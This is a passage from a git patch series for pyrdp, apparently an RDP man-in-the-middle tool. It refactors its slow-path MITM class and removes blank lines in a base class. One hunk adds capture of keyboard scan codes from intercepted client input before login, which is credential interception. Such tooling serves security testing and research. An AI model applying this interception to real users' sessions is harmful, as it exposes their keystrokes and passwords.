RDPMITMS :param client: slow-path layer for the client side :param server: slow-path layer for the server side """ - self.client = client - self.server = server - self.state = state + super().__init__(state, client, server) self.clientObserver = self.client.createObserver( onPDUReceived = self.onClientPDUReceived, @@ -40,6 +38,12 @@ def onClientPDUReceived(self, pdu: SlowPathPDU): if self.state.forwardInput: self.server.sendPDU(pdu) + if not self.state.loggedIn: + if isinstance(pdu, InputPDU): + for event in pdu.events: + if isinstance(event, KeyboardEvent): + self.onScanCode(event.keyCode, event.flags & KeyboardFlag.KBDFLAGS_DOWN == 0, event.flags & KeyboardFlag.KBDFLAGS_EXTENDED != 0) + def onServerPDUReceived(self, pdu: SlowPathPDU): SlowPathObserver.onPDUReceived(self.serverObserver, pdu) From dc3f73c384826abdaa6da05654de92f4ca77bc8a Mon Sep 17 00:00:00 2001 From: Pourliver Date: Mon, 10 Jun 2019 14:10:28 -0400 Subject: [PATCH 7/7] Removed trailing newline --- pyrdp/mitm/BasePathMITM.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/pyrdp/mitm/BasePathMITM.py b/pyrdp/mitm/BasePathMITM.py index 74d7c3c2c..55c813981 100644 --- a/pyrdp/mitm/BasePathMITM.py +++ b/pyrdp/mitm/BasePathMITM.py @@ -24,11 +24,9 @@ def __init__(self, state: RDPMITMState, client: Layer, server: Layer): def onClientPDUReceived(self, pdu: PDU): raise NotImplementedError("onClientPDUReceived must be overridden") - def onServerPDUReceived(self, pdu: PDU): raise NotImplementedError("onServerPDUReceived must be overridden") - def onScanCode(self, scanCode: int, isReleased: bool, isExtended: bool): """ Handle scan code.